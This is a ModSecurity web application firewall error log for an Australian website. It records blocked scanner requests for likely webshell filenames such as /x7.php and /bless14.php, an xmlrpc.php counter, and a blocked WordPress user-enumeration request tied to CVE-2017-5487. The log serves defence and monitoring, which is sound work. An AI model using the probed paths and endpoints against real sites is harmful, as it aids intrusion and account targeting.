[Fri Jan 02 20:39:43.699101 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:60671] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aVe8j1XqK_iX4f-S70JwhgAAAZE"]
[Fri Jan 02 20:39:44.064136 2026] [:error] [pid 63100:tid 63180] [client 4.189.161.129:41532] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aVe8kDuUXUKd3KTnKl9K2wAAAJM"]
[Fri Jan 02 20:39:44.348161 2026] [:error] [pid 29316:tid 29333] [client 4.189.161.129:57766] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aVe8kNfT9ty-7jZmgf-ptAAAAQ8"]
[Fri Jan 02 20:39:44.795875 2026] [:error] [pid 50186:tid 50188] [client 4.189.161.129:57731] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxl.php"] [unique_id "aVe8kFXqK_iX4f-S70JwigAAAYA"]
[Fri Jan 02 20:39:45.098351 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:13945] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxl.php"] [unique_id "aVe8kcez9k78gUs48kpWoQAAABQ"]
[Fri Jan 02 20:39:45.728743 2026] [:error] [pid 50046:tid 50048] [client 4.189.161.129:46906] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxl.php"] [unique_id "aVe8kSzv7fgIiwkQYNCrDQAAAUA"]
[Fri Jan 02 20:39:46.159562 2026] [:error] [pid 50186:tid 50200] [client 4.189.161.129:41486] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxl.php"] [unique_id "aVe8klXqK_iX4f-S70JwjAAAAYw"]
[Fri Jan 02 21:05:55.331030 2026] [:error] [pid 50186:tid 50208] [client 182.42.111.156:35800] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVfCs1XqK_iX4f-S70J4CQAAAZQ"]
[Sat Jan 03 02:09:07.595360 2026] [:error] [pid 47234:tid 47242] [client 4.194.56.148:50071] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lisa.php"] [unique_id "aVgJwx2w_O5NbPWiWO_VQwAAAQY"]
[Sat Jan 03 02:09:21.097436 2026] [:error] [pid 24660:tid 24699] [client 4.194.56.148:62509] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aVgJ0WZwWsLNsJ3ZH7bfIAAAAEY"]
[Sat Jan 03 02:09:22.392735 2026] [:error] [pid 24661:tid 24740] [client 4.194.56.148:36114] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aVgJ0hfxsu5kmLDAcZukqgAAAJQ"]
[Sat Jan 03 02:09:30.827384 2026] [:error] [pid 24659:tid 24673] [client 4.194.56.148:62467] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aVgJ2mucj-rXdFUnVEtEDgAAAAk"]
[Sat Jan 03 02:09:35.827807 2026] [:error] [pid 47234:tid 47256] [client 4.194.56.148:48055] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aVgJ3x2w_O5NbPWiWO_VvAAAARQ"]
[Sat Jan 03 02:09:38.839330 2026] [:error] [pid 24660:tid 24705] [client 4.194.56.148:48041] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aVgJ4mZwWsLNsJ3ZH7bfYgAAAEw"]
[Sat Jan 03 02:09:42.141649 2026] [:error] [pid 24659:tid 24680] [client 4.194.56.148:48056] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aVgJ5mucj-rXdFUnVEtELgAAABA"]
[Sat Jan 03 02:09:44.748143 2026] [:error] [pid 24660:tid 24708] [client 4.194.56.148:47394] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aVgJ6GZwWsLNsJ3ZH7bfegAAAE8"]
[Sat Jan 03 02:09:51.433679 2026] [:error] [pid 24661:tid 24735] [client 4.194.56.148:50101] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aVgJ7xfxsu5kmLDAcZuk7gAAAI8"]
[Sat Jan 03 02:09:53.466955 2026] [:error] [pid 47234:tid 47245] [client 4.194.56.148:50085] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aVgJ8R2w_O5NbPWiWO_V_gAAAQk"]
[Sat Jan 03 02:09:54.251141 2026] [:error] [pid 24661:tid 24742] [client 4.194.56.148:47374] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aVgJ8hfxsu5kmLDAcZuk9AAAAJY"]
[Sat Jan 03 02:11:30.107782 2026] [:error] [pid 24749:tid 24774] [client 4.194.56.148:48027] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aVgKUkiv6Q9UlqwBJkZ3KAAAANc"]
[Sat Jan 03 02:11:31.492906 2026] [:error] [pid 24660:tid 24702] [client 4.194.56.148:42626] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aVgKU2ZwWsLNsJ3ZH7bgLwAAAEk"]
[Sat Jan 03 02:11:35.175077 2026] [:error] [pid 24661:tid 24725] [client 4.194.56.148:50110] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aVgKVxfxsu5kmLDAcZulhAAAAIU"]
[Sat Jan 03 02:11:37.571253 2026] [:error] [pid 24660:tid 24704] [client 4.194.56.148:48026] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aVgKWWZwWsLNsJ3ZH7bgMwAAAEs"]
[Sat Jan 03 02:11:39.301522 2026] [:error] [pid 24660:tid 24705] [client 4.194.56.148:47399] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aVgKW2ZwWsLNsJ3ZH7bgNQAAAEw"]
[Sat Jan 03 02:11:40.551616 2026] [:error] [pid 47234:tid 47255] [client 4.194.56.148:50108] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aVgKXB2w_O5NbPWiWO_XEgAAARM"]
[Sat Jan 03 02:11:42.156353 2026] [:error] [pid 24661:tid 24723] [client 4.194.56.148:50086] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aVgKXhfxsu5kmLDAcZuliQAAAIM"]
[Sat Jan 03 02:11:43.143132 2026] [:error] [pid 24660:tid 24703] [client 4.194.56.148:50057] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aVgKX2ZwWsLNsJ3ZH7bgOQAAAEo"]
[Sat Jan 03 02:11:44.352847 2026] [:error] [pid 24661:tid 24730] [client 4.194.56.148:42643] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/family.php"] [unique_id "aVgKYBfxsu5kmLDAcZuljgAAAIo"]
[Sat Jan 03 02:11:45.930419 2026] [:error] [pid 24660:tid 24696] [client 4.194.56.148:62472] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/family.php"] [unique_id "aVgKYWZwWsLNsJ3ZH7bgQAAAAEM"]
[Sat Jan 03 02:12:01.367049 2026] [:error] [pid 47234:tid 47236] [client 4.194.56.148:47381] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aVgKcR2w_O5NbPWiWO_XRQAAAQA"]
[Sat Jan 03 02:12:02.943168 2026] [:error] [pid 24659:tid 24683] [client 4.194.56.148:50104] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aVgKcmucj-rXdFUnVEtE4QAAABM"]
[Sat Jan 03 02:12:14.295206 2026] [:error] [pid 24660:tid 24702] [client 4.194.56.148:8132] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aVgKfmZwWsLNsJ3ZH7bgXgAAAEk"]
[Sat Jan 03 02:12:16.817330 2026] [:error] [pid 24660:tid 24711] [client 4.194.56.148:36126] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ma.php"] [unique_id "aVgKgGZwWsLNsJ3ZH7bgaQAAAFI"]
[Sat Jan 03 02:12:18.025522 2026] [:error] [pid 24661:tid 24741] [client 4.194.56.148:47423] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ma.php"] [unique_id "aVgKghfxsu5kmLDAcZulrwAAAJU"]
[Sat Jan 03 02:13:36.596991 2026] [:error] [pid 47234:tid 47260] [client 4.194.56.148:62471] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ierne.php"] [unique_id "aVgK0B2w_O5NbPWiWO_YsAAAARg"]
[Sat Jan 03 02:13:41.759279 2026] [:error] [pid 24660:tid 24715] [client 4.194.56.148:36149] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ierne.php"] [unique_id "aVgK1WZwWsLNsJ3ZH7bhTwAAAFY"]
[Sat Jan 03 02:13:43.225918 2026] [:error] [pid 24660:tid 24707] [client 4.194.56.148:36119] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ierne.php"] [unique_id "aVgK12ZwWsLNsJ3ZH7bhXAAAAE4"]
[Sat Jan 03 02:13:49.154082 2026] [:error] [pid 47234:tid 47242] [client 4.194.56.148:50056] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ierne.php"] [unique_id "aVgK3R2w_O5NbPWiWO_Y_QAAAQY"]
[Sat Jan 03 02:13:50.007928 2026] [:error] [pid 24661:tid 24723] [client 4.194.56.148:48030] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aVgK3hfxsu5kmLDAcZumfgAAAIM"]
[Sat Jan 03 02:13:56.460228 2026] [:error] [pid 24659:tid 24666] [client 4.194.56.148:8135] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aVgK5Gucj-rXdFUnVEtGIAAAAAI"]
[Sat Jan 03 02:13:59.971259 2026] [:error] [pid 24659:tid 24666] [client 4.194.56.148:62515] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aVgK52ucj-rXdFUnVEtGNQAAAAI"]
[Sat Jan 03 02:14:03.355933 2026] [:error] [pid 47234:tid 47240] [client 4.194.56.148:47418] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aVgK6x2w_O5NbPWiWO_ZHwAAAQQ"]
[Sat Jan 03 02:14:05.490772 2026] [:error] [pid 24749:tid 24757] [client 4.194.56.148:40837] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1yade.php"] [unique_id "aVgK7Uiv6Q9UlqwBJkZ41QAAAMY"]
[Sat Jan 03 02:14:06.839079 2026] [:error] [pid 47234:tid 47243] [client 4.194.56.148:62473] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1yade.php"] [unique_id "aVgK7h2w_O5NbPWiWO_ZLgAAAQc"]
[Sat Jan 03 02:14:11.660836 2026] [:error] [pid 24659:tid 24685] [client 4.194.56.148:48045] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1yade.php"] [unique_id "aVgK82ucj-rXdFUnVEtGXAAAABU"]
[Sat Jan 03 02:14:20.886679 2026] [:error] [pid 24661:tid 24729] [client 4.194.56.148:36100] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aVgK_Bfxsu5kmLDAcZum2QAAAIk"]
[Sat Jan 03 02:14:22.256979 2026] [:error] [pid 24749:tid 24756] [client 4.194.56.148:50053] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aVgK_kiv6Q9UlqwBJkZ4-gAAAMU"]
[Sat Jan 03 02:14:27.425868 2026] [:error] [pid 24661:tid 24728] [client 4.194.56.148:50091] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aVgLAxfxsu5kmLDAcZum4gAAAIg"]
[Sat Jan 03 02:14:28.107278 2026] [:error] [pid 24660:tid 24705] [client 4.194.56.148:50094] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aVgLBGZwWsLNsJ3ZH7bhzAAAAEw"]
[Sat Jan 03 02:14:29.722161 2026] [:error] [pid 24749:tid 24764] [client 4.194.56.148:36122] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aVgLBUiv6Q9UlqwBJkZ5AgAAAM0"]
[Sat Jan 03 02:14:30.827018 2026] [:error] [pid 24660:tid 24717] [client 4.194.56.148:48052] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aVgLBmZwWsLNsJ3ZH7bh2QAAAFg"]
[Sat Jan 03 02:14:32.136580 2026] [:error] [pid 24660:tid 24701] [client 4.194.56.148:42630] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aVgLCGZwWsLNsJ3ZH7bh6wAAAEg"]
[Sat Jan 03 02:14:32.984164 2026] [:error] [pid 24749:tid 24756] [client 4.194.56.148:50055] [client 4.194.56.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aVgLCEiv6Q9UlqwBJkZ5IAAAAMU"]
[Sat Jan 03 05:11:31.891991 2026] [:error] [pid 34260:tid 34267] [client 34.76.49.192:64165] [client 34.76.49.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.49.192, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVg0g0WWhyvZ0O9KNVSZjQAAAQU"]
[Sat Jan 03 05:11:34.913910 2026] [:error] [pid 34260:tid 34279] [client 34.76.49.192:64165] [client 34.76.49.192] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVg0hkWWhyvZ0O9KNVSZlAAAARE"]
